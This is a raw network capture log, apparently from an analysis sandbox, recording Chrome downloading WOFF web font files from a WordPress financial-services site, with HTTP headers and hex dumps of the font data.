2024-04-11 20:34:55 UTC	1378	IN	Data Raw: ff ed 93 a5 a7 60 d2 21 9b 01 58 ce 00 4e d3 92 09 40 5c a9 3e 79 5a 05 c6 55 e0 4a 9c 60 f9 4b f9 ec a5 fc 09 96 55 be fa 42 be fa 02 02 a8 57 95 30 6b 88 ca 51 50 ed 2f d6 46 4c 60 7c c6 de 96 31 62 72 11 91 ab 43 38 11 e1 d4 11 3f 43 d6 09 22 22 c8 11 b9 62 5d 63 8c f9 97 79 84 d2 c7 21 74 e0 63 fe b9 6c 84 79 85 04 98 1a 67 fa 01 57 1e 69 2a 6f 5f ee ae 58 db b5 76 fb 68 5b ac b9 17 fe c4 7a 46 a9 63 45 7e 45 71 5e ac a6 26 76 d6 b6 e4 53 a4 ae b7 7f 60 5e f2 a7 a4 be a7 7f b8 27 f9 7a 8a af 94 fc 1b f8 8a e9 df ca 57 dc b3 f2 15 c7 ca 0c b6 22 e6 f3 ed ac 3e 59 ec b5 72 86 bd 56 9e 6e af 35 fd fb ec b5 0b 43 9d 35 9e c2 da ce ca 4a 7e f7 77 9d b1 b8 a6 76 f1 19 dd dd ec 7e e6 e6 92 86 6e 2e b7 71 01 ae 3b 5a 72 16 13 ec 60 ba af ab 5d bc a3 9d b6 01 Data Ascii: `!XN@\>yZUJ`KUBW0kQP/FL`\|1brC8?C""b]cy!tclygWi*o_Xvh[zFcE~Eq^&vS`^'zW">YrVn5C5J~wv~n.q;Zr`]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49755	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	649	OUT	GET /wp-content/themes/x-child/fonts/Montserrat-Bold.woff HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.bfjfinancial.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/css/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	740	IN	HTTP/1.1 200 OK Connection: close Content-Length: 177924 referrer-policy: no-referrer-when-downgrade last-modified: Thu, 10 Jan 2019 14:51:25 GMT x-xss-protection: 1 cache-control: public, max-age=31536000 etag: "5c375bed-2b704" x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff x-fw-server: Flywheel/5.1.0 content-type: application/font-woff Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:55 GMT X-Served-By: cache-lga21922-LGA, cache-lga21939-LGA X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1712867696.836206,VS0,VE3 Vary: Authorization X-FW-Serve: TRUE X-FW-Static: YES Access-Control-Allow-Origin: * X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 77 4f 46 46 4f 54 54 4f 00 02 b7 04 00 0d 00 00 00 06 6a fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 46 46 20 00 00 09 20 00 01 ba 0f 00 03 de 56 fb 4d 15 68 46 46 54 4d 00 02 ab e8 00 00 00 1c 00 00 00 1c 72 fe 6c e8 47 44 45 46 00 01 c3 30 00 00 00 d0 00 00 01 0e 8f f5 89 7a 47 50 4f 53 00 01 e4 94 00 00 c7 51 00 02 1d 68 10 f7 36 6b 47 53 55 42 00 01 c4 00 00 00 20 94 00 00 41 72 5a c1 3f c1 4f 53 2f 32 00 00 01 94 00 00 00 52 00 00 00 60 56 e5 a6 77 63 6d 61 70 00 00 04 c4 00 00 04 46 00 00 06 1e 63 13 61 b2 68 65 61 64 00 00 01 30 00 00 00 35 00 00 00 36 12 fd 7f 86 68 68 65 61 00 00 01 68 00 00 00 21 00 00 00 24 06 e8 0c 75 68 6d 74 78 00 02 ac 04 00 00 0b 00 00 00 1e 5c 7e 92 5f ac 6d 61 78 70 00 00 01 8c 00 00 00 Data Ascii: wOFFOTTOjCFF VMhFFTMrlGDEF0zGPOSQh6kGSUB ArZ?OS/2R`VwcmapFcahead056hheah!$uhmtx\~_maxp
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: a5 d4 29 5d 91 be 92 7a 48 a6 21 e4 43 7e 14 44 21 34 81 22 68 0a cd a4 6a 6a a1 4e ea 92 53 e5 74 39 4b 7e 53 be 2a db ae e1 ae 60 d7 44 d7 64 3e 90 fb f0 91 3c 98 2b 5c e3 e1 7c 32 8f e6 b3 f9 42 be 8c af e0 99 fc 35 fe 0e 2f e6 15 bc 8a ef e1 75 fc ae 18 2c 7c 45 80 08 14 5c a8 22 54 44 8a 69 22 46 cc 11 4b 45 b6 d8 2c 4a 45 83 68 14 cd a2 45 9c 14 ed e2 8c b8 28 2e 29 c3 95 11 8a aa 84 2a e1 4a 84 92 a0 a4 28 fb 54 49 f5 52 7d 54 3f 35 40 0d 54 b9 1a ae 2e 50 57 ab 6b b5 06 ad 43 3b a7 5d d2 ba b5 eb da 97 e3 7f 6e de 71 4f b2 ed fb 55 71 ec 02 f5 fd f6 7a 76 ca b1 5f 65 37 98 c9 7e 65 7d 12 97 c2 a4 c8 87 f6 0b d2 65 e9 9a f4 3d 81 bc 1c fb 30 c7 3e 8e 42 fb ed 33 1e d9 21 a7 c9 eb e5 1c b9 4c be e6 f2 75 05 ba 42 5c 11 7c 00 1f c2 fd f9 18 2e 78 08 Data Ascii: )]zH!C~D!4"hjjNSt9K~S`Dd><+\\|2B5/u,\|E\"TDi"FKE,JEhE(.)J(TIR}T?5@T.PWkC;]nqOUqzv_e7~e}e=0>B3!LuB\\|.x
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: fa 33 43 98 91 cc 04 66 16 b3 98 59 ce ac 63 7e 62 f6 33 c7 98 b3 cc 65 e6 3a 73 8f f9 9b f9 97 79 cf d2 ac 2d eb c2 7a b3 41 6c 24 1b cb 0a 6c 32 9b c6 36 66 5b b1 1d d9 1e ac 81 2d 60 07 b0 23 d8 f1 ec 34 76 2e bb 98 5d ce ae 63 b7 b2 bb d9 7d ec 51 f6 0c fb 3b 7b 8d bd cb 3e 61 5f b2 ef 38 8a b3 e1 9c 39 2f 2e 90 8b e0 62 38 05 97 c4 69 b9 66 5c 5b ae 1b a7 e7 7a 73 7d b9 01 dc 48 6e 02 37 9d fb 8e fb 9e 5b c1 ad e7 b6 71 bf 71 47 b8 d3 dc 25 ee 2f ee 0e f7 98 7b c1 bd e5 91 97 f1 4e bc 27 1f c0 07 f1 91 7c 2c 2f f0 c9 7c 1a df 98 6f c5 77 e4 7b f0 06 be 80 2f e3 2b f8 e1 fc 18 7e 32 3f 8b 5f c0 ff c8 af e6 37 f1 3f f1 bf f2 87 f8 93 fc 05 fe 4f fe 16 ff 90 7f ce bf e6 3f c9 38 99 83 cc 5d e6 27 0b 95 45 cb e2 64 09 b2 86 32 9d ac 99 ac ad ac 8b 2c 4b Data Ascii: 3CfYc~b3e:sy-zAl$l26f[-`#4v.]c}Q;{>a_89/.b8if\[zs}Hn7[qqG%/{N'\|,/\|ow{/+~2?_7?O?8]'Ed2,K
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: ce 3e 7e 3e 31 3e 6a 9f 74 9f 66 3e 9d 7c b2 7d 8a 7d ca 7d 86 fb 8c f6 99 e2 33 cf 67 b9 cf 66 9f 5f 7c 8e f9 9c f1 f9 d3 e7 9e cf 0b 5f da d7 c9 37 c0 37 da 57 f0 4d f5 6d e2 db c1 b7 97 6f 91 6f 85 ef 28 df 39 be 3f fa 6e f0 dd ed 7b d8 f7 ac ef 55 df 07 be 4f 7d df fa d9 fa 79 fb 85 f9 45 fb 09 7e e9 7e 6d fc 7a f8 f5 f6 2b f7 1b ee 37 d1 6f ae df 22 bf 55 7e 5b fd f6 fb 9d f6 bb ec 77 db ef a5 df 5b 7f d6 df d9 df df 3f ca 5f f0 4f f5 6f e6 df c9 3f cf df e8 3f cc 7f 82 ff 1c ff 1f fd 37 f8 ff ec 7f d4 ff 82 ff 0d ff 27 fe 6f 02 d8 00 a7 80 c0 80 e8 80 b8 80 fa 01 99 01 2d 02 3a 07 64 07 14 07 7c 1d 30 3e 60 76 c0 0f 01 eb 03 76 05 1c 0a 38 17 70 23 e0 59 c0 fb 40 3e d0 2d 30 28 b0 4e 60 42 a0 36 b0 65 60 d7 c0 dc c0 c2 c0 b2 c0 21 81 63 03 bf 0b fc Data Ascii: >~>1>jtf>\|}}}3gf_\|_77WMmoo(9?n{UO}yE~~mz+7o"U~[w[?_Oo??7'o-:d\|0>`vv8p#Y@>-0(N`B6e`!c
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 27 8c 49 98 9a f0 5d c2 92 84 d5 09 9b 13 76 25 1c 48 38 99 70 29 e1 5a c2 83 84 17 09 ef d5 b4 da 46 ed a4 f6 52 07 aa 23 d4 75 d4 0a 75 b2 3a 4d dd 54 dd 56 dd 55 6d 50 17 a9 fb ab 87 aa c7 aa a7 ab e7 ab 97 aa d7 aa b7 aa 7f 51 1f 56 9f 51 5f 56 df 52 3f 51 bf 52 7f 4a e4 13 9d 12 7d 12 43 13 eb 24 2a 12 1b 24 36 4a 6c 95 d8 39 31 2b 31 3f b1 2c 71 50 e2 c8 c4 89 89 b3 13 bf 4f 5c 95 b8 39 71 57 e2 be c4 13 89 17 13 af 25 de 4b 7c 9e f8 2e 89 49 72 4d 8a 48 8a 4b 6a 9a d4 3e a9 4f d2 c0 a4 31 49 73 92 56 26 6d 4f 3a 98 74 26 e9 cf a4 7b 49 6f 92 ed 93 03 93 e3 93 93 92 1b 25 77 4c ce 4b 1e 90 3c 36 79 5a f2 82 e4 35 c9 db 93 0f 26 5f 48 be 93 fc 3c f9 63 7d a7 fa 01 f5 a3 eb ab eb 67 d4 6f 57 bf 6b fd dc fa 65 f5 87 d4 1f 5b 7f 46 fd 45 f5 57 d5 df 5a Data Ascii: 'I]v%H8p)ZFR#uu:MTVUmPQVQ_VR?QRJ}C$*$6Jl91+1?,qPO\9qW%K\|.IrMHKj>O1IsV&mO:t&{Io%wLK<6yZ5&_H<c}goWke[FEWZ
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 02 09 59 41 41 f0 c8 28 09 64 94 04 32 4a 02 19 25 41 41 f0 14 04 4f 41 f0 14 04 4f 41 f0 14 04 4f 41 f0 04 82 27 10 3c 81 e0 09 04 4f 20 78 02 c1 13 08 9e 40 f0 04 82 27 10 3c 81 e0 09 04 4f 20 78 02 c1 13 08 9e 40 f0 94 04 4f 49 f0 94 04 4f 49 f0 94 04 4f 49 f0 94 04 4f 49 f0 94 04 8f 4c 57 41 49 f0 94 04 4f 49 f0 94 04 4f 49 f0 94 04 8f 2c 5f 82 8a 20 a8 48 3f 15 e9 97 40 de 25 90 77 09 04 3d 81 a0 ab 49 4b 35 69 a9 26 08 6a 82 a0 26 08 6a 82 90 48 2c 4a 24 16 91 44 22 24 12 99 64 d2 08 89 44 66 22 b1 28 91 58 94 48 2c 4a 24 16 25 12 bc 44 82 97 48 f0 12 09 5e 22 c1 4b 24 78 64 ef 29 68 08 9e 86 e0 69 08 9e 86 e0 69 08 9e 86 e0 69 08 9e 86 e0 91 09 2c 68 08 9e 86 e0 69 08 1e d9 cf 0a 1a 82 a7 21 78 69 04 2f 8d e0 91 bd ae 40 f6 ba 42 1a c1 23 5b 5e 21 Data Ascii: YAA(d2J%AAOAOAOA'<O x@'<O x@OIOIOIOILWAIOIOI,_ H?@%w=IK5i&j&jH,J$D"$dDf"(XH,J$%DH^"K$xd)hiii,hi!xi/@B#[^!
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: bc 5c c2 0b d5 bc e9 ba 84 88 b4 dc e5 48 e4 0a 12 5e 2b e1 25 18 1a b5 84 d7 98 e5 56 ce 41 22 d7 ca 9a aa c5 82 bc 11 27 bd e4 b1 5c d2 99 f0 55 97 b7 84 27 97 52 84 37 dd be 58 38 89 63 c4 a3 3d 61 75 55 c4 f2 b6 ea 76 49 c2 2b 45 9e b4 94 34 d4 59 fc 4b 6e 60 2d 5a c6 6b ab 1e 7f c1 5d 69 92 61 d0 4a 5c a4 95 0c 83 56 32 0c 12 55 e4 71 84 d7 59 b9 cb 72 41 2c 01 21 fe d6 d5 f0 5e 9a d4 f5 04 5b 27 f1 5e d5 9e 4b c2 57 e1 49 bc 5a b5 0a 8a 7c 86 58 36 22 a5 c5 1b 8d 2c de 68 54 c3 03 d2 8b 66 f2 e0 0b ca cb e3 2c ce d7 11 0d 1a 93 b2 09 21 96 31 a8 39 61 c8 43 8b 2a 8d 3f 1f 01 d3 5d 19 79 f7 79 d0 c9 75 55 6f 3e 57 4a 4b 5c d7 b8 86 47 b5 6a 89 dc aa 26 12 8f 36 96 78 ae b1 25 ec 9a 98 3b 55 4d 7c f2 f4 0b ca c6 6b 13 44 be b9 05 52 20 c1 d1 42 d2 86 Data Ascii: \H^+%VA"'\U'R7X8c=auUvI+E4YKn`-Zk]iaJ\V2UqYrA,!^['^KWIZ\|X6",hTf,!19aC*?]yyuUo>WJK\Gj&6x%;UM\|kDR B
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 65 56 23 5c f6 85 58 52 99 75 50 99 91 55 a6 a1 cf 35 94 16 56 c6 7e af 02 93 0a a6 e6 64 d3 a2 37 4a 00 c9 86 45 6f de ae e8 cd 9b 15 bd 79 ab a2 37 6f 54 f4 e5 a6 8f d9 18 c9 2a 6c fa a9 8e 89 fb 3c 63 88 89 b4 bc 66 c6 10 53 59 b9 55 24 e9 44 50 69 24 e9 cc 01 9c 61 b6 51 67 89 2e b3 6a 62 e6 2d ff 52 24 91 7c 6e 1d 49 09 a2 04 4b 66 af 5a 65 cb ad 02 26 c1 04 dd af f2 d3 df f4 a9 b6 d8 6a 53 a6 97 6c c9 f4 d5 1b 32 bd e9 c5 40 d3 a7 ba 8f d5 76 4c 3f b0 a6 23 d4 e6 f9 20 ae 16 03 ad 5c 92 61 9e a3 0a f3 d0 9a 36 63 fa 0a d3 a7 1a a1 7a 1b a6 af f8 6c ed 48 14 f7 1a d5 fb 28 f3 fe c9 ea 70 a6 b7 3e 9f e9 ad 8f 68 7a eb 53 9a de fa a0 a6 b7 3e ab e9 ad 8f 6b fa cf 4f 6c 7a eb 43 9b de fa dc a6 b7 3e ba e9 ad 4f 6f 7a eb 03 9c de fa 0c a7 ff 7c 6f 69 75 Data Ascii: eV#\XRuPU5V~d7JEoy7oT*l<cfSYU$DPi$aQg.jb-R$\|nIKfZe&jSl2@vL?# \a6czlH(p>hzS>kOlzC>Ooz\|oiu
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 31 9b 69 da 89 af fe a7 88 aa 46 bd 4a b3 f4 06 d3 ef dd 88 4c 53 4d fc b5 9b b9 da c7 60 b4 7a 5d 59 b7 34 28 c9 2a 35 14 99 5f 8b 35 cb 4b 43 61 76 35 b6 a1 c8 cc e6 0d 2c c9 ab b4 da c4 e6 96 9b 7e a4 56 58 6c 01 30 3f b1 48 31 3d aa 9c 17 b9 05 56 8d c4 27 12 a8 01 fa 82 2c d3 a9 86 30 a6 5f e9 99 ee f0 ac e4 4b ea a4 23 79 60 91 2d a9 57 37 20 3e 33 dd 6c 96 9b 7e 2f 28 6e de aa d9 2a 90 be e5 c5 46 43 76 af 02 09 db ab 52 23 49 b5 4a 78 75 b5 5a b6 58 97 be b3 7a 21 aa 21 15 24 3e 10 bf b6 22 bf 3a 14 ed b6 fc 3a d1 52 15 f5 32 d7 cc 5e cb 22 a4 ea 27 91 55 77 34 95 f6 95 65 15 65 57 5d 94 29 e2 d4 95 9f 38 0b 1b 6f 61 ab fe 60 2c c1 c2 c6 59 d8 78 cb df 90 99 58 81 fc 85 70 71 61 2f f1 1b 49 f2 97 63 96 26 1a 8b 64 d3 3f b5 f9 4f d3 7a d6 f8 a3 35 Data Ascii: 1iFJLSM`z]Y4(5_5KCav5,~VXl0?H1=V',0_K#y`-W7 >3l~/(nFCvR#IJxuZXz!!$>"::R2^"'Uw4eeW])8oa`,YxXpqa/Ic&d?Oz5
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: a0 0a a9 22 aa 98 2a a1 fa 52 a5 54 19 65 a4 ca a9 7e 54 7f 6a 00 35 90 aa a0 be a6 06 51 83 a9 21 d4 50 6a 18 35 9c fa 86 fa 96 1a 41 8d a4 46 51 a3 a9 31 d4 58 6a 1c 35 9e 9a 40 4d a4 26 51 93 a9 29 d4 54 6a 1a 35 9d 9a 41 cd a4 66 51 b3 a9 39 d4 5c ea 3b 6a 1e 35 9f 5a 40 2d a4 16 51 8b a9 ef a9 25 d4 0f d4 8f d4 52 6a 19 b5 9c 5a 41 ad a4 56 51 ab a9 35 d4 5a 6a 1d b5 9e da 40 6d a4 36 51 9b a9 2d d4 56 6a 1b b5 9d da 41 fd 44 ed a4 76 51 bb a9 3d d4 cf d4 2f d4 af d4 5e ea 37 6a 1f b5 9f 3a 40 1d a4 0e 51 87 a9 23 d4 51 ea 18 75 9c 3a 41 9d a4 4e 51 a7 a9 33 d4 59 ea 1c 75 9e ba 40 5d a4 2e 51 bf 53 97 a9 3f a8 2b d4 9f d4 55 ea 2f ea 1a 75 9d ba 41 dd a4 6e 51 b7 a9 3b d4 5d ea 1e 75 9f 7a 40 3d a4 1e 51 8f a9 27 d4 df d4 53 ea 19 f5 9c fa 87 7a 41 Data Ascii: "*RTe~Tj5Q!Pj5AFQ1Xj5@M&Q)Tj5AfQ9\;j5Z@-Q%RjZAVQ5Zj@m6Q-VjADvQ=/^7j:@Q#Qu:ANQ3Yu@].QS?+U/uAnQ;]uz@=Q'SzA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49759	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:55 UTC	694	OUT	GET /wp-content/themes/x-child/font-awesome/fonts/fontawesome-webfont.woff?v=4.1.0 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.bfjfinancial.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.bfjfinancial.com/wp-content/themes/x-child/font-awesome/css/font-awesome.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:55 UTC	739	IN	HTTP/1.1 200 OK Connection: close Content-Length: 83760 referrer-policy: no-referrer-when-downgrade last-modified: Thu, 25 May 2017 11:41:16 GMT x-xss-protection: 1 cache-control: public, max-age=31536000 etag: "5926c2dc-14730" x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff x-fw-server: Flywheel/5.1.0 content-type: application/font-woff Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:55 GMT X-Served-By: cache-ewr18151-EWR, cache-ewr18133-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 0 X-Timer: S1712867696.847040,VS0,VE2 Vary: Authorization X-FW-Serve: TRUE X-FW-Static: YES Access-Control-Allow-Origin: * X-FW-Type: VISIT
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 01 47 30 00 11 00 00 00 02 28 fc 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 46 54 4d 00 00 01 80 00 00 00 1c 00 00 00 1c 67 2b 8e 59 47 44 45 46 00 00 01 9c 00 00 00 1f 00 00 00 20 02 1d 00 04 4f 53 2f 32 00 00 01 bc 00 00 00 3e 00 00 00 60 8b 02 7a 37 63 6d 61 70 00 00 01 fc 00 00 01 41 00 00 02 a2 e0 80 b8 4a 63 76 74 20 00 00 03 40 00 00 00 28 00 00 00 28 05 83 08 a8 66 70 67 6d 00 00 03 68 00 00 01 b1 00 00 02 65 53 b4 2f a7 67 61 73 70 00 00 05 1c 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 05 24 00 01 2e 20 00 01 fe 9c 92 ab 42 c6 68 65 61 64 00 01 33 44 00 00 00 31 00 00 00 36 07 68 38 11 68 68 65 61 00 01 33 78 00 00 00 1f 00 00 00 24 0f 02 09 b2 68 6d 74 78 00 01 33 98 00 00 02 Data Ascii: wOFFG0(FFTMg+YGDEF OS/2>`z7cmapAJcvt @((fpgmheS/gaspglyf$. Bhead3D16h8hhea3x$hmtx3
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: d4 4e dc a6 cd 00 b4 b3 35 4e 99 f4 65 69 53 b8 49 eb 2a cd d2 f7 94 34 cb 6b 9d a4 6e 93 3f ad 25 72 fc 9f 73 07 00 41 8a 96 ed e6 fd ef fb 25 62 70 e7 ce 9d c1 dc 73 cf 3d f7 ec 97 21 4c c3 bf 5e 86 21 cc 95 6f 32 ba 4f 69 8b 8c 9f 19 66 64 47 52 6e ae c8 96 14 91 5b 93 b2 f7 8c 6c a9 94 2d 5e 53 e7 6c c1 62 34 e2 51 30 76 96 bd 16 ac f0 32 58 e1 75 1b 3b 4b 6d a4 93 e9 e9 15 33 23 24 1d 4c b5 12 a7 43 4f 84 60 ca e5 d0 85 83 21 29 d3 97 0e 0a 44 ba 32 12 77 6b 8b ee 78 a4 73 e1 7e 52 f0 4a 92 77 be 88 47 52 58 b8 bf 53 bb ce dd 62 30 b4 b8 c3 70 71 81 91 32 12 fc 71 0c 7b 4b 27 be 1f 03 ef c7 c0 fb 75 32 cf 32 65 37 c3 74 ca 6d 95 59 6d 9b db d0 29 b7 57 ca 70 bd 93 c8 5d 49 59 7f 46 8e 54 e4 70 4a 8e f0 32 a9 c8 24 09 85 52 90 74 ca a1 94 6c af c8 76 Data Ascii: N5NeiSI*4kn?%rsA%bps=!L^!o2OifdGRn[l-^Slb4Q0v2Xu;Km3#$LCO`!)D2wkxs~RJwGRXSb0pq2q{K'u22e7tmYm)Wp]IYFTpJ2$Rtlv
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 12 45 71 e7 f2 e9 ec 74 b8 06 49 aa 6f 98 64 a4 4e 12 d2 65 97 9e 42 b3 8b 9f 93 1a 39 c8 48 38 d5 f1 fa 92 73 f2 07 3e 7f cf 98 8e ce fb 37 60 de 17 25 2f 5d 00 df f6 40 a0 25 c7 e0 c9 02 3d 2e 96 35 cc 3b 7d c6 b4 96 fe ee 39 a4 37 3f ad 5f f9 45 bd 09 61 56 2a 9e a7 45 96 59 ac 56 cb e7 8b ef f8 11 8c 06 11 4b d7 88 53 63 4c d9 82 d4 bc 0b 51 42 8e 50 44 1a 4a 03 5a c9 19 60 3b 0a 2a 1d c3 41 96 3d 70 e4 4b 01 40 86 9e 14 ac f5 72 7f aa b4 8a 8e fb 72 32 de 4c 96 9e 93 b7 b9 3e 95 61 99 cc d4 54 46 a1 c7 c5 32 57 7c ab 2b 45 52 a4 45 3c 72 99 86 93 85 cc 5b 5d 61 18 23 f6 9d d2 e8 0b e7 d3 4d 2a 14 4a 43 47 e8 d4 28 65 ae a6 53 aa 34 75 7b 1a 61 51 5a 83 53 ac 3b 59 da fd 10 9c 47 2a a5 ed f7 a6 00 3a 8f 21 74 4a 7c 40 9d 04 9e 78 8a 42 a8 07 88 47 61 Data Ascii: EqtIodNeB9H8s>7`%/]@%=.5;}97?_EaVEYVKScLQBPDJZ`;A=pK@rr2L>aTF2W\|+ERE<r[]a#MJCG(eS4u{aQZS;YG:!tJ\|@xBGa
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: dc ec 35 45 1f 31 1e 69 6c db 74 63 9f c9 a2 b6 ed 6d 61 9d 3f c3 c7 3f a5 f2 30 55 b9 36 4c b1 7f 3d b3 83 b9 96 f9 34 53 8e 57 29 61 30 59 72 25 54 de d5 0a b2 1c 2e 3c 46 18 dd 83 49 b9 0d 35 71 e5 b6 08 4e 8c 36 06 16 99 48 23 ba 8f 43 69 6b 45 de ca 97 2e 87 d2 be 8a bc 8f a7 3a 39 4f a5 ec e9 c6 5b 3c a2 b1 b3 74 1d 60 40 4f 04 28 a6 96 ae 44 85 bc 3c 6e 2f ad 5d 9f cf 97 2e df 0a b5 63 79 79 9f 20 af ca cb dd 76 d9 0a c3 1f 8c 03 c9 cd 0c 4d 6d df 7d 35 d5 f3 a8 4c 4c 8e 2a 24 61 34 83 b5 09 55 e5 ff b3 02 ac 2f c4 d1 8a 97 47 48 56 08 8a cb a6 8d 18 84 a1 0d ea f4 e2 db 4e 2f 92 5d 67 db 84 ac d0 26 db 3a 92 c5 39 30 bd 67 6c 1e e4 ac 69 98 4e 8c d5 c6 71 05 ce 66 9d 2f c2 cc a2 f3 04 0e d3 64 ae 47 6f 52 fe d2 a4 3f b6 58 49 98 c5 b2 26 00 87 4f Data Ascii: 5E1iltcma??0U6L=4SW)a0Yr%T.<FI5qN6H#CikE.:9O[<t`@O(D<n/].cyy vMm}5LL*$a4U/GHVN/]g&:90gliNqf/dGoR?XI&O
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: a0 aa 21 73 a2 ca 63 b8 c5 fa 3c 10 83 ee 60 2e 98 20 31 2e c8 59 49 f3 6f 4c 59 2f 57 f0 66 4d bf 69 96 bc e7 60 55 fb 06 19 da 4b 0a 7b c9 10 e1 c8 ab 0b 43 af 12 ae 40 7e 3a 32 cc c6 9b 43 a1 e6 85 7f 1c 1e 51 5a 01 a7 59 ef dc 1c 67 e2 c8 eb 0a cf 9a 2f 58 0f 62 28 85 2d 19 b3 78 c3 98 55 87 07 6d 0a 22 0c cf 4b 1a a3 89 f3 b4 2d 1b 8c c8 c5 07 03 ba d6 e7 a6 3a 15 ca e7 5e 8c 9c 07 82 6d 6c 20 10 58 38 6b 13 78 3e 70 51 e0 2f a4 d8 62 54 b4 8b ca 9c 7d c2 ae cc 19 0d 8b b6 2c da b7 34 da a0 7b 80 21 a9 94 43 3d 68 41 01 8e 02 64 27 55 dc ce d0 2e b6 56 4a 59 24 ed cd 21 c1 5e 26 8c 80 ba 0a ad 50 32 98 ea 02 74 3a a5 01 86 de 5d 1b 90 98 04 3c 45 38 64 65 41 c8 4c a7 90 ed 4f 21 7f af d7 69 50 b2 46 e1 ef a3 1f 20 e2 e1 bb fd ed 31 a4 24 48 7d 4e 3f Data Ascii: !sc<`. 1.YIoLY/WfMi`UK{C@~:2CQZYg/Xb(-xUm"K-:^ml X8kx>pQ/bT},4{!C=hAd'U.VJY$!^&P2t:]<E8deALO!iPF 1$H}N?
2024-04-11 20:34:55 UTC	1378	IN	Data Raw: 79 a7 dd 19 ea c0 93 91 54 6d 1d d5 f4 01 c3 53 bb 36 42 70 da 41 45 0c 95 cf 17 b4 78 a7 20 bb 3a d6 ef 98 d8 b6 6d c2 d1 0f 5c 84 c5 f2 d0 1f ff f1 43 16 73 8b 74 20 a6 6f d3 27 22 b7 9d 3e 7d 5b 24 01 45 7a f1 ef 15 e5 ef 2d 96 77 01 e6 ef c5 1c 7e 5b df a7 be f8 a9 3e 9b df 11 83 99 3d a8 2c 28 af 28 0b 83 5a e9 7b 11 b7 c6 a2 69 f6 ee 22 3c 49 11 7e 97 b7 19 4e dd 11 68 b3 4b b9 53 c9 28 77 ee d2 e2 d4 66 cc 54 a9 8d 73 9b 83 65 b5 09 56 55 11 a8 72 18 38 c9 4e 58 5d d3 40 eb be cd 94 a1 49 67 d9 d3 95 49 a7 d3 40 d1 4a dd 59 20 d3 7c 12 a5 6b 81 72 bf 2d 15 b9 09 98 b0 4a a9 d9 0f 57 08 8f 62 a5 26 29 47 d2 68 04 88 a7 d0 7b b0 27 2d 3b 2b 72 6f 4a b6 25 e5 8e 34 10 0e 39 9a a2 44 12 68 07 70 3a 40 27 cd 70 54 75 e2 8e 14 2e e2 2e 38 f2 25 23 ea 5d Data Ascii: yTmS6BpAEx :m\Cst o'">}[$Ez-w~[>=,((Z{i"<I~NhKS(wfTseVUr8NX]@IgI@JY \|kr-JWb&)Gh{'-;+roJ%49Dhp:@'pTu..8%#]
